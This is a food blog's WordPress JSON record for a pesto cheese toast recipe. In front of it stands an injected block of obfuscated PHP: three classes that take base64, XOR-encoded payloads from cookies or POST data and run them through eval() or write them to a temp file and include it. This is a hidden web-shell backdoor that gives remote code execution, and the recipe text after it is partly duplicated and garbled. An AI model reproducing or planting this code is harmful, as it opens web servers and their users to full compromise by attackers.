$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);}{"id":181,"date":"2022-04-13T10:44:10","date_gmt":"2022-04-13T10:44:10","guid":{"rendered":"http:\/\/www.dillydaly.com.au\/?p=181"},"modified":"2022-04-13T10:44:10","modified_gmt":"2022-04-13T10:44:10","slug":"pesto-cheese-toast","status":"publish","type":"post","link":"https:\/\/www.dillydaly.com.au\/pesto-cheese-toast\/","title":{"rendered":"PESTO CHEESE TOAST"},"content":{"rendered":"Pesto has been a staple ingredient in my kitchen for quite some time. Even though it’s a more expensive product, you can add flavor to any meal with just a small amount. Pesto Cheese Toast can be used as an appetizer, side dish, or snack. It’s like\u00a0<\/span>garlic toast<\/span>‘s a more sophisticated cousin. \ud83d\ude09<\/span><\/p>\nHOW MUCH PESTO DO YOU NEED?<\/span><\/h2>\nThe best thing about tasty toast is that you can use\u00a0<\/span>any<\/span><\/em>\u00a0pesto or whatever you prefer. Basil pesto can be used, and a sun-dried tomato pesto or a kale Pesto. A\u00a0<\/span>Genovese Pesto<\/span>\u00a0is my favorite. It’s a creamy basil-style pesto.\u00a0<\/span>Filippo Berio<\/span>\u00a0and\u00a0<\/span>Classico<\/span>\u00a0are also good choices.<\/span><\/p>\nWHAT KIND OF BREAD SHOULD YOU USE?<\/span><\/h2>\nThis recipe is great for any French or Italian loaf bread. You have two options: cut the bread in traditional slices (see the photos), or cut the loaf half lengthwise. Then, slice the halved loaf into pieces like my\u00a0<\/span>Homemade Garlic bread<\/span>\u00a0recipe. You can choose the bread-to-topping ratio you prefer. You can also make this a pesto pizza with small bits of English muffins or naan.<\/span><\/p>\nWHAT TO SERVE WITH PESTO-CHEESE TOAST<\/span><\/h2>\nIt’s a great substitute for garlic bread and can be served with pasta or\u00a0<\/span>Tomato Basil chicken<\/span>. But it’s great with a bowl of\u00a0<\/span>tomato broth<\/span>. These little toasts are a great appetizer for parties! For dipping, you can serve this with warm marinara. This is my\u00a0<\/span>favorite<\/span><\/em>\u00a0way of serving it. I love scrambled eggs or fried eggs for breakfast. It’s hard to beat the egg-pesto tomato combo. !<\/span><\/p>\nPESTO CHEESE TOAST<\/span><\/h2>\nPesto cheese toast can be a delicious and easy alternative to garlic bread. This is a great appetizer, snack or side dish for parties!<\/span><\/p>\nPrep time: 10 minutes<\/span><\/p>\nCooking Time: 10 minutes<\/span><\/p>\nTotal Time: 20 minutes<\/span><\/p>\nWHAT TO SERVE WITH PESTO-CHEESE TOAST<\/span><\/h2>\nIt’s a great substitute for garlic bread and can be served with pasta or\u00a0<\/span>Tomato Basil chicken<\/span>. But it’s great with a bowl of\u00a0<\/span>tomato broth<\/span>. These little toasts are a great appetizer for parties! For dipping, you can serve this with warm marinara. This is my\u00a0<\/span>favorite<\/span><\/em>\u00a0way of serving it. I love scrambled eggs or fried eggs for breakfast. It’s hard to beat the egg-pesto tomato combo. !<\/span><\/p>\nINGREDIENTS<\/span><\/h3>\n\n- 4 slices of bread ($0.66)<\/span><\/li>\n
- 2 Tbsp pesto ($0.45)<\/span><\/li>\n
- 1 Roma tomato ($0.28)<\/span><\/li>\n
- 1\/2 cup shredded mozzarella ($0.42)<\/span><\/li>\n<\/ul>\n
INSTRUCTIONS<\/span><\/h3>\n\n- Pre-heat the oven to 400oF. Place parchment paper on a baking sheet. Cut a loaf of French or Italian bread into slices about 1\/2-inch thick.<\/span><\/li>\n
- Spread 1\/2 Tbps pesto on each slice of bread and place them on the baking sheet.<\/span><\/li>\n
- Cut the Roma tomato into eight slices and then top each slice of bread with two slices.<\/span><\/li>\n
- Add a generous amount of shredded mozzarella to each slice of bread.<\/span><\/li>\n
- Toast should be baked for 10 minutes or until the cheese has melted and toast is golden brown. The baking time will vary depending on the bread you choose and your oven. Keep warm<\/span><\/li>\n<\/ul>\n
\n